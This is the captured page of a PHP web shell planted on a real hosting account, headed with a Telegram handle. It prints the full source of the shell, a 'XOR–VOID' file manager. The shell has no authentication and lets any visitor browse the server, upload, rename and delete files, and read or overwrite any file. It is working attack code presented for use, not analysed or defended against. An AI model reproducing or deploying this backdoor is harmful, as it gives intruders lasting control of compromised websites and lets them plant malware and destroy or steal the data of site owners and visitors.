WebShell: t.me/oghbnz


Current Path : /home/sreemitragroup/public_html/
Upload File :
Current File : /home/sreemitragroup/public_html/t.php

<?php
/* =========================================
   █▓▒░  XOR–VOID FILE HANDLER  ░▒▓█
   ========================================= */

@header("Content-Type:text/html; charset=UTF-8");
@ini_set("display_errors",0);

/* ---------- path chaos ---------- */
$_x = isset($_GET['_']) ? realpath($_GET['_']) : realpath(".");
if (!$_x) $_x = getcwd();

/* ---------- upload ---------- */
if (!empty($_FILES['__f']['name']) && $_FILES['__f']['error'] === 0) {
    @move_uploaded_file($_FILES['__f']['tmp_name'], $_x."/".basename($_FILES['__f']['name']));
    header("Location:?_=".urlencode($_x)); exit;
}

/* ---------- mkdir ---------- */
if (!empty($_POST['__mk'])) {
    @mkdir($_x."/".$_POST['__mk']);
    header("Location:?_=".urlencode($_x)); exit;
}

/* ---------- delete ---------- */
if (isset($_GET['__rm'])) {
    $__t = realpath($_x."/".$_GET['__rm']);
    if ($__t) {
        is_dir($__t) ? @rmdir($__t) : @unlink($__t);
    }
    header("Location:?_=".urlencode($_x)); exit;
}

/* ---------- rename ---------- */
if (!empty($_POST['__rf']) && isset($_POST['__rt'])) {
    @rename($_x."/".$_POST['__rf'], $_x."/".$_POST['__rt']);
    header("Location:?_=".urlencode($_x)); exit;
}

/* ---------- save file ---------- */
if (!empty($_POST['__sf']) && isset($_POST['__sb'])) {
    @file_put_contents($_POST['__sf'], $_POST['__sb']);
    header("Location:?_=".urlencode(dirname($_POST['__sf']))); exit;
}

/* ---------- scan ---------- */
$__L = @scandir($_x);
if (!is_array($__L)) $__L = [];

/* ---------- UI ---------- */
echo "<style>
body{background:#0f0f0f;color:#ddd;font-family:consolas}
a{color:#7af;text-decoration:none}
input,textarea,button{background:#111;color:#eee;border:1px solid #333}
table{border-collapse:collapse}
td,th{border:1px solid #333;padding:6px}
</style>";

echo "<h2>☠ XOR–VOID :: ".htmlspecialchars($_x)."</h2>";
echo "<a href='?_=".urlencode(dirname($_x))."'>⬆ parent</a><br><br>";

echo "<form method='post' enctype='multipart/form-data' style='display:inline'>
<input type='file' name='__f'>
<button>upload</button>
</form>";

echo "<form method='post' style='display:inline;margin-left:10px'>
<input name='__mk' placeholder='folder'>
<button>mkdir</button>
</form><br><br>";

echo "<table><tr><th>entity</th><th>ops</th></tr>";

foreach ($__L as $n) {
    if ($n==="."||$n==="..") continue;
    $f=$_x."/".$n;

    echo "<tr><td>";
    echo is_dir($f)
        ? "<a href='?_=".urlencode($f)."'>📁 ".htmlspecialchars($n)."</a>"
        : "📄 ".htmlspecialchars($n);
    echo "</td><td>";

    echo "<form method='post' style='display:inline'>
    <input type='hidden' name='__rf' value='".htmlspecialchars($n)."'>
    <input name='__rt' size='8' placeholder='rename'>
    <button>↺</button></form> ";

    echo "<a href='?_=".urlencode($_x)."&__rm=".rawurlencode($n)."' 
          onclick='return confirm(\"delete $n ?\")'>🗑</a> ";

    if (is_file($f)) {
        echo "<a href='?_=".urlencode($_x)."&__ed=".rawurlencode($n)."'>✎</a>";
    }

    echo "</td></tr>";
}
echo "</table>";

/* ---------- editor ---------- */
if (!empty($_GET['__ed'])) {
    $ff=$_x."/".$_GET['__ed'];
    if (is_file($ff)) {
        echo "<h3>edit :: ".htmlspecialchars($_GET['__ed'])."</h3>";
        echo "<form method='post'>
        <input type='hidden' name='__sf' value='".htmlspecialchars($ff)."'>
        <textarea name='__sb' rows='20' cols='100'>".htmlspecialchars(file_get_contents($ff))."</textarea><br>
        <button>save</button></form>";
    }
}
?>